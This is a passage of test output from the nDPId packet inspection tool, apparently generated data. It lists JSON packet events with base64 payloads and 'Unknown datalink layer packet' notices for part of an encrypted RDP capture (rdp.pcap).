packet","thread_id":0,"packet_id":1529,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1530,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598980,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn\/a8UBAfzO60AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1530,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1531,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599224,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFirkAAfwYiKcCoAo6sEAK5DT3NDkef9rz5vRyEUBD1nHZ+AAAXAwMGbwAAAAAAAAHyfqFL5TDP2phvy09p+6nY1jgwvp4BAgNWQAikcGFXVD2k7cm39XpIOypdwmoCZv4b8AIJKJZRHaJOf4Vi0bXtAG+0ofxfVYGgYnni+8uXfSw3nYvYMmlzbkTau5bB6Cv5CgPcHnporJTgGTN99odka1WYqvjPMWXv4zvx2I5OGB5y1qsqxZjgd1xkXW94lz0KFEYpKBONhE6a5rDztN5kFyBhJ3X9bUeOPq\/odRxg82yvEItrMmbGZjN1EM8a5g2DmgYsFe9Re+HVUq+xNIXYhtN2g9zDiSaoBNXxVnm\/z4WOuBdfJ7p7+CoR22Y+HfqqefNuOlYQZ7xr4GQeKSY\/JatndUZ67OEty0mEDMAHRtpvXT5EcAP1\/fxKMNjvQE6nwHnuFdbJjau8ZyTorK8brZy3cYSkHr4262RvMW2C1VP3iyUVAVdDgDTD6nWyPWRXlfzCdp8L822XMcWl9Yeq4Hh7i\/ORcY35aqm7O07ymscLJgZj8V1FXWWaFfoTKzkIDxN+do5Jx9+IYvuDwDtnys3+fweeAxpXk6o6rW1BPv2E66seSGCdX\/CJdEFhKUWl3Y1sWODP5mWyvCqpQ3CaRXFko0\/T8VkiOmMmvRFDGXaEprGZ8zAUwr2BqToPfGs1yYpA0UGH6408Wal\/fQ9kHnVYYwRSOEGU1JPjWVdyl8aivx\/Ti\/GHH6M5tw85xk+BNrGAMigrpBgeemdHkbw39b+jnT81eY\/pjmlTfIwJpB99OOrkn5VET6a88mvrKgBcyxPaD95LJD4OvIW\/2ulUSsaLnfWz6wKXrnxvVO8Efheij9xFaZOkfmIOJ9H1liHHTB10Kvv5wrr20A00iqOVwpIzjFHJfhaHdQTMFSB0ilGPHTaD\/iDTo9dsXh0foEGfHMUCQSfK\/EBnoXZc30zoMTVjTnTqt+AgWW1nqyAr8X7FfU93axnFigYi9DFtHh\/BLHbPaUSvTYReZ\/Yn\/3MpHroxnHFUUcwS76bPfwPu6Kr2YM465ze\/G0ErMOI3A0DpQFtJxzdxI1G7MhcWsLhB5rQYBCN0r5OZJNuop\/4pN4nbQvvHmS1CHE\/2ofPsgLx\/6Nvx1G25aclEc1rbXGsXqTRMVwAUvfUAKpdcPbKXo38ci3\/mCp7XbrdbyQ+Q+\/BXoRKW3KQVbXt9yeh6Khbo7skA9g9BO1rIknz06xlzhX0kEnK6DfuOiyDNOtTSEQjzfJIwjS0Awgdzf\/NDwrlZ11Duv8RltH8orWYbQCQM2NcoNXSD4Ao3PpPpD8ZFzA391k7zIaI2lPYQSDfADs3HKn+495I2nYDM5ovN6ohIYyhDkTkuHBTMUnIyo0\/Gf1\/H+MUh3\/oE38mk3Doi+HwIqtA4c66TBAanR5cLOlDxXo2XxrI03Ln1rusMSoQJZHHKmUS7HLWw9j7PQyS5S+Ma4i11I\/V6JnoRTIseqSbgtx0YG6IpYO42AereeVliHcc+hf9moSAMRXmL20dra4PuPp+fjgorHpzoZHezeSi3kVYO1guT2JHP+Re6IUmnOEp2d4QIqoclMqCko57V1grUHUt5A3HcuurR35IiNPVrgrvsnWZtghmiTVhiI987o1ONG3MB4EVS4lFB1Szcr7e86+pIxfhArxQFXoTq6nOCl7+dlhE105l0oiwV88bgNVjdUD7yxi1OsN9t4GhC"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1531,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1532,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599270,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNir0AAfwYlpsCoAo6sEAK5DT3NDkef+7X5vRyEUBj1nCczAAAJTR\/H48b6Ux0mLmy46ZqvKxFChY+3mK++x3EAKMw6YxpSc8my9gOzVL0YrrD0KB\/2un+XKm1YySkRcl2IoESGXHg8XdgsJfq8hCMVbium4ggeXLKekDDj0OdXeu2XT\/HBS86YUQmKBRPM8RMP+E+KylEiQB9Uchr9DZ49ktmTk8k4lfDHizIcZ\/g72t7VivHa3Q\/sWP6L0wDi1jUqXHfjq3XGo\/mr\/hFXvfZHKdjVYzxxlcTESQOsjMOaR3SmhNH4I7NT6SW24gdD2JvNLcLgnTDaffxeT7a51bEvr6IohHVpioP2BhD3ZF8THcCZ0bKQMXCT2sefMjEfBtSVDWZv\/qhKtvKhrPMACxJNmot5tBtsZaX+NIGpsrBWPwjEKUT1rXx3kNmWK8CYB70NmC130OwahbQrcNcR9YCMbseXi1ff4ycy7fzejbEYF8LTSN0WjuD2YxQguKyRz0LmjkjvP\/GPRKgENdbyLk2qGHq8FAnq3H0dwQnpetY5"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1532,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1533,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599322,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn\/0wUBAfzOhAAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1533,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1534,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599581,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFisEAAfwYiJ8CoAo6sEAK5DT3NDkef\/TD5vRyEUBD1nN7qAAAXAwMGbwAAAAAAAAHzqRP+SeyWcU9E+TwFKBj+wkMg8g7Z+hmRtL2UvuU6qwkrzzs3h+7w1xem1jm8QDUhepjHErs6qQA2GMkWIpqVQvcMNxOFMHEZWwum0b3\/\/ptzW+Rw7jtk3X8Al+t4EsLdVGilZUWbBQwlV\/+TQkfYU5UEdxJBx9xAUooYb2fbfANohwZxSE1WmPoARb6FkSNw0UBZap9xXwEBqhqUFMxcwt3LDAtJIi1Ag88Z8slnzu4mJBRYakMzh0\/DAF3F2P0v4Opz1fz1HqwpI4D8Jz4FnhUutSaGpaHK64FPHoUCxJj0EGBw5KNNzXkpx\/bhOP7LLIoeYjBfjlPMt8yI4OS8lT6FNI10\/ywuiXjTm8tWgqdWuS4fzifL+z3SdLUQtCvaVKyk+bAFOfd\/JxkMjKw7SB9+nCcADmfjs\/gPFi2nOviuSyY9\/0AxHO\/U9wtf690rq7iW+1ImuNszTUWSHAIEEGGOeuFvLEG1hzrdMEGrZmZ70qBiyu7DMirXT8bxtKMVTasjLaS3nuyte5z6BjDCt0b4j1E1\/BjrZrDktUHKl8EYQDjtampfvcbNQjSxUVI+pPP0fUpQve9m1eAZGRfbZRXLDZiwOxhJ9pYOVtougEU+GegitirabRoTuyeAXHTQI6IhtNZzIYDVvHJ\/4QjFuwmbFwsuNrTAIc8H1YZNQJXcGiW98tDyOj3i7yOOYbBskYQL33Q0cQiCRNrSQJmsXv7SiQnJx19gPIciQWhVAG6ek6pAhJWPVtULjr6L5OVHKu3mQeMHqplhdEaKzQCr3KWsu1frmOZ5xDa8B4t8dKjQrPSZ5j1dCX4h3Sq3+ZaQdfthUph2QBKZ+iQMSDjZ7HIZQs8JdJlVNZHsD6NLbdiSvYl29TDR9RvWRtmPLzToGKjBWa8YR+W77fQDwAVlIs3FRM0y28usz9OQOp8IYUtGRtgeET3ic4iHMlnYSwx+AHcVB7TGZmsBenULglOx46yZ5fMQNFi\/nacgxADj0dEy79fvd6KwBWsEuTM5LlERkMCZwHL6ywFCLgbrdi9fUyuQ+ZA2HzH7FCf9BIef\/Sq+vnNAfSKksG5lHkuAs9iRADfmDzR\/QhHDNL2D7Hmz4FP0Dmnq1\/0BXkXliJ0fL8Ackt1m2jWbPS\/UlibgI\/vKtoVesiyLuFwpXXzJ3QFZihzSbiPoN22b28yle8ntNVEpv8b2PZxtwX2atwyFI9uHafSRZ43HoBDfCvgU5\/xAosik2LA33WGDcpwoGxWOTP2qgXnpiELY0wUDCGuTyDZncwoVXbCnU9LJDIcSZ4C0MtrivaX1Y+mn1UY5XfLrMDTdTBwPFIQkjP\/wr2\/z7iiYg3NRLdKQrHluWBOcnEu4gsxVcmTg7dS89EiudWuSZJSNWxJkVCrru6uw93QOHHiUcTCHo+sCj8vEf+jKOGvo8cycyNL9ctphokhgBBY6FLCR4fh1eb5tdOHtLsDZt4kl4OsrAcYgwYnPkYMLW30BsABmGHPYA3+R3i69PjAUm70vT27b2R0wUJ65QHC+PS1\/iIvrnCeQA0fK1Bf5S098Bo824CQHhnLbjzaNzcz6I3xGXaTuPtEoU5bIj5skpGxnxGI7ky5pDvFXfYj3DOUqekKoFciYzdvSCPBajkXg+Xy4jgiCtQxWRa4LZGfZ9Jogyc3eMVkzIdpF2DK6"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1534,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1535,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599629,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNisUAAfwYlpMCoAo6sEAK5DT3NDkegAin5vRyEUBj1nOY1AACBOYwaRjp3o0HNq+j74BZ3OcleG2rQE2QhDNSe9FMAngR5WDEZKBpU62fNdQBQX8ZAc\/IGZWnt4vsuJjYiGC4SoWnfukj9G7Wn09HU8U7ZaIBq01AZGkryAxNOlGrp4L8Km3iS9yamG7+4g8V5mmYYpTgpnlTFqYMSrj4M7xrrW+FkLyR6jIH6ztLp1DnhlvPUyTQNfxF\/\/5HY5TJOcnGnoauV\/\/ve7ga0Ru61+N+GcfDAt+YVkPNeriBRK\/jLRG4qXwWBPkkr4iqMCTAhp67w7YU8Ju0jKyuewx\/ArlbK4BmO6Rt9L1lTQv180oWursrvD4JGkRi5lhhIHt96bd6eXKbN0vI1S9DekmEwpdop8tRIq+piIFq40ZpeB7JlS+Wpgw4xRrpwL54z6yD6JrlVDwegTJ9PKwh5P467vLzTsUV6gGUYy4aNCzyArgxOJJ5iZ2S3oYCXiP9EakZ0H79rQsISFm5KEatmXdD\/9FViYlHIl8RSVBGG5\/3N"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1535,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1536,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599678,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5HoAOkUBAf9OGkAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1536,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1537,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599892,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iskAAfwYm6cCoAo6sEAK5DT3NDkegA6T5vRyEUBj1nC\/RAAAXAwMAMAAAAAAAAAH0SDaW8kjo9JHOvkU0FmFgNeAEqAPy3RJ4EcP0khc6Zang6SMKaNcuDg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1537,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1538,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":599953,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5HoAPZUBAf\/uFlAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1538,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02088{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1539,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":600316,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFis0AAfwYiJMCoAo6sEAK5DT3NDkegA9n5vRyEUBD1nB1qAAAXAwMGbwAAAAAAAAH1QMHojb3oiGw1+\/BalhuPShOdGF\/Wi0+9812UTymuFS4f5\/2K70RGs5epUmb5SaLqdogfpKNltgCwL1AQ0BBdonfDByENQQbECTL9QJyn1dw1K8UsR3SMLxftmw+CrRdUpULlb5pB7xNMM5rUKVfWx4PX8yWeqd9SdYK0gtdyKWKE4VJXvsf1Kh8hkit1ZMSpNHWo77n80I1b0AuaARixDTFIzt97N\/hNNHga3yuiTado9V\/2caf7XGyUA9cKi8AC4JBDrS1hhp2lgymzJj60C54GejiaK4RUHP\/W0jKiVAENuVpnAqNePCJn77bUx9BiBoyGCd08guSMpMSYQ+rfvvRoIXRg1QItz053KRNpS6L7Nn\/XHAXigs5Ak2A\/Wcj3VGjyGHJEneWQwohFPMDEcUAQZMcwYy2Q0rj7A1Up0dbTnUPTen2zlFo+tEquCK\/XrzIuc4JKZRDd0P102WZmVnmGlTJujKU+l03bJqa4Q4k07Gz4VAZEpH\/i7OwIW531MHSoOeqK56ioiAhw5jMKIOdqGEbCLr43TINmn8+qjnybf4DphUr4eMti2\/pbj8qtkX\/MRbiHSGbnZRKi\/dwTOaLKHyac+B8Nx2RDoj7+tPlUHIgr\/VaCPYx46uUvrwOK15MXbbXYh9wm5BpQvbVDVireDZXAP7xST3Q4cLQ54chZpxPaggfNZNfUH4vPFTerCHTH3w5VkEq0oUK0C6GwYdprJr1jIyvg4C1VGBISpizfxh0nWc\/GDC4H7IGiP321XXFvpijFbRz+lgdEZZo9C9J\/YMJm2eos2i1BEJZsUYt\/IRTtB01mUMcqB\/Szp5M85Ky0Mes5zOg6fiDs6fcmqu8WmEA395HOh47gAeR7P1CaQ7GjWWWXrC89L34PBqT4W7JW+edVqoUM6zXYk2fF5xiPgoIaYKLiifOc0h2DZTNu+25Nzh\/tD3fmVMqYoiJP\/B86CSY3urA1cNFuoeKyeMjOajRNh5liiVtrta3Bf0Cmt27Yc7dKLUoXBtzHMXK+B2hiL5TytXiF\/vPJ2\/tjE2Pn3\/3L1DtknfQUwFSfMVWP\/I7difN08JeoYxMiz4NjifdDgnm+paCXCNICE8b+Mm0xjtmRDF\/tO2SltqGm2hDI9BNMjTZxzFvA0XtC7Y5ZNZ3\/OAj20n+lXvSJfzha9aTt2Hf8kNA4EjSAPiuyNq2Y83dAPqLwuSd5roGcM\/lwWcmtKEXH0VkHaon9GCsLc63E4XBbfvxhBGvY4iN9\/fdrycTdEw5nzwqXiGxlmdsrqbckiPSzgXSMz3tPZ17zdnFbk4oKxoqjYOZ4Pj9uByzu5BF6vKx39zF0MPMcl8h8JyO+F+9fvyoxLp9HJEIVu358Zr\/qfKJx0tD6mrsZsiDQ4nyfAY02yaO5IbCezmeZCLlSIRiEDfnNIQbFeOXOT5vaDUSpYSnPfU16e3tfircOCJCIqm\/YW4v7R3s0sktBprJ+rAM1\/FpfwmxlUgZQ\/OhmJcjx0kzP4NZsxAGGB5ym4NLD5pQ\/AfkkhFAO4IGYEQWMSVvdup267\/noTrrMT6ooZFsMJDkmIfGVS77e23UlfADALlVS\/m4X0S7BjRymuMSQLxKDDULXijE\/rLz6uX9Hf9AStcuWLvyVJ\/w1PO2DvEZRYNiimDKCy+vE1yfo9tD1VaxsQD5phb7U"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1539,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1540,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":600389,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNitEAAfwYlocCoAo6sEAK5DT3NDkegCNL5vRyEUBj1nEjCAAAQCJyKK7KKcglB8IoYUGKd5JULDmrS1aWS2hj375CTJh3nELUPfgHr5kS7VWpfjMB++Gzchya68l0TndCbqnQvtLVkuEuFThmVk6tmvtKYp1BNIwjq\/k7UbXtrpcFShW+moZnvnOLLlLGloiP7I2nLwCEjMigcCW8H3THbgVpt8ZYWqyymW2ZZ5mCIVaaEwQ0FiHuHrXqsm0Y5dNv7sDjWDg6ZCYbaL4u3wd3KMXddGHATXwQs4MCqILN2cG\/1MBswJZAOnrLMSg11IsON74tW6FJyVG1K1i+CWsBi8rccFDPvbgi\/hP2JTvGkixSuSPGR0RKqGPaL7mYLNweKD3ZoFVVnYd5VGBCyBDOcVMVviSrSvVkcUGExlqS2KHX56UC+9dTCIY1C4kb67qII5yqNtTGj9ZK1mEn\/L9GX8dk6+pTDv2W6w8JqaAsjRhP4END\/4MdgAdAoZZMlswl4NQs7+a9LTXzoPp2X1CqhAZohGg9EwrdJYFxpXqtT"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1540,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1541,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":600428,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5HoApNUBAf9Nr7AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1541,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1542,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":600666,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFitUAAfwYiIsCoAo6sEAK5DT3NDkegCk35vRyEUBD1nJFIAAAXAwMGbwAAAAAAAAH2JxtvNprDTj5O1G77+I2T0tepC4HItIoZhlWB8YDcm75JFW\/2nNr9+9UhHcA6jasUl0mh1FtaTKUIW0lX6\/OYyrh0PmlTRKJyAfIh9FVnZGz3sXFuadNBRewQyNuC4KMEvnmoobTZleQ6sGXqsJfGacWqVAlQeYN3FMMwDrBdCTSHbLb07e8VIInnHbdSjJj3FoAOzQSY26oc0XBpb2Xvzyq2TRwW458Jc\/az9mcHr71ljw5J3ULuxRzFzAqqKmmig1jhUckNSaGulSlDDuCDdn4jLbsudrkt9Cjbr0GaOyT7KpRogilaGwb6WLUJ98N2PeRZx88NVwrfDxEGx9E+vAWhJSbbJ3gnDQXfoAqzJeUY+h+SqlLsm5WFUrtH1pGfQzWnXtY2VbSjcLSvYRNP3AfFJWcQHY0pvuIlBfXAydnLdcgyiKGlumXd1ei604vms4L+9yVWnb\/nZc6ImAOu5jaq3MaXNZkw94\/FjgiquRM+5tQ99WY6EXUTR2jofKwlxxYwtl4xdoye2pZjhg1Af1PRxxWEz5UAIEQEaMl76zCwkL7UVzSTo79JtrXxwa8lyIxd\/LMadVm+antcb3\/wq0dqgvgfy7KwJLRYXASYDArb132x\/bGV8A5CT+TLdPK1+VATY3bHyKVswK4JBBhLUQkP5SVdX6qvKwHqQbHlxw+WlVKNmoE3vJUkX\/Yy9fyH8giex9HZpHYaEk4WQU+0T\/I+vP325KriTXrLAEh6KHLRJ3GJcPaFR2OAFc\/VoaBVoNVQsBHBHAtBPOc+U+b45e75yk2R2xhhhx4E4RFio0gonI0cJtKhxHlUCF1yWAdrLWZJn3maN5PSCfsmZyfkN7mHSpduhDF6Aia1jQW9d52ZQNbK16TmMzJILHJ5iusVs3IfbWoNUFLXjOlCwUmacQwxKegP4rNzzomc0EKvUp1SNOBrvIMmU\/NNCPyD0gEhTjDsobmym\/QW1GtnVaXsqPYPXYWq1Tg8Gws\/9mzVPsL8o\/+MDX9Fv6KmJpwirJh2kWt5hgHLoxQOSQ6gBxdNKCyevJVmHJrG6fPB1\/td6oafcXw3FEHva1ivai4nAXDjMTTSXM0LwAA1eH4Hkd\/qo426yvy+Vof65WGVSgSPxRQ8XrhqOwcDMNvi3Ni+wmERdw\/yrPI+WTMV3HetLNfzCro6n5nCMusmMz3\/pNHwTG5mO5W2FZobJAPXMHOX6WEbAKz535wBQzpmykc5FbJLFwswwKZuS8sVnrcCi+DfgmYr3owBf1I7JAoBCSh1yiUkMrv6J7R1lWqnzMUJUJnfDaxOmybrbg8iPTXrKHVABK0yenk3D5sgJGz+NW122fJ4N3PUwnbne485z\/psCrXi3XOMmf1miLiW5LwLpFWBN\/cituFnpeXQV2rmmTzSGjN3ugYaYo5qLWpIfznTIXyFFOOB5LIblcZTwsmvV7n1c6aozeXW0mG2pSiLiSstQyVgteVoev88OCKLEuuwJ\/KKDMkmPQ8IthGROFtEaI35R5MEQo1S8tXHi5xpoA1vfJRvuYbhrm4NI+FA4aXG9rv\/qbIuCaE3uHlL7G2HuVbHsrGrm45Yr5++GKYUiLTksZ8L2QULrYXKIKpghp+98YA7HV9F\/2Np5KgdDIasRVQAWqAJJ1UMVMEBdkwBsgoMKIudq4g\/oA12DhsGyX4t"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1542,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1543,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":600872,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNitkAAfwYln8CoAo6sEAK5DT3NDkegD0b5vRyEUBj1nNC+AADHzcPNvEQW0h\/tub5iFWUJ08nfhCngSqkbLfIMwSTjH0rqN0yvdgZIq7bi9V2V\/LyggjAEgqfSq+Y6GbrOWxnSKl52kIsrscc48\/SBndOlz\/eF5EGrkfreQ+G3QlPa\/3jnNkpOLTHhIpFGEjHSBwlzw7F7xig4oS3D\/CT7VF6Ynk\/3M\/w1M7os5bmL7hclvyD2HcbggXH27nljGt9JfwRD0roUTlLsdrgVIbz6GtfRGIXtjNuBgLdeKjvZJSvTliOBuRs1bY87Etrlf4CIE71NTOE2p+7J69mKrJhY8nB8fJxjfXUd+oV+ltU52uYUsXLlr+XY8YZcavH30eQwpDT0R1IHWSdWYBmuCnJR8OzFfbmu49jcIjCYpqJmC6nPvq5exPyWieZZcC1YObokJRaQ6Rz7+VJ+5gi80DG5XOaKebpSkPft59O+tcisN3JyO+xf4HXt19dK+Es0WgWgw3fHJzPK31sRBmMX6d\/AtK7U6zuaBPipsb8sA+Pj"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1543,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1544,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":600899,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1it0AAfwYm5MCoAo6sEAK5DT3NDkegEMH5vRyEUBj1nPAOAAAXAwMAMAAAAAAAAAH3u46bqjpHPAmhxp7lVJz0OkGM4w5TVKsag4xx9qYXGOGN6DvQzFszJg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1544,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1545,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":600943,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5HoBDBUBAf9NSHAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1545,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1546,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":601178,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiuEAAfwYnGMCoAo6sEAK5DT3NDkegEPb5vRzuUBD1Mv8TAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1546,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1547,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":601211,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5HoBD2UBAf\/tRIAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1547,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1548,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":601405,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iuUAAfwYm4sCoAo6sEAK5DT3NDkegEPb5vRzuUBj1MkTwAAAXAwMAMAAAAAAAAAH4K1A35UxI7ojg0h5HKOMJaKYLHruPRFbUR8HJXnX+Xbr+4SadrZivOw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1548,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 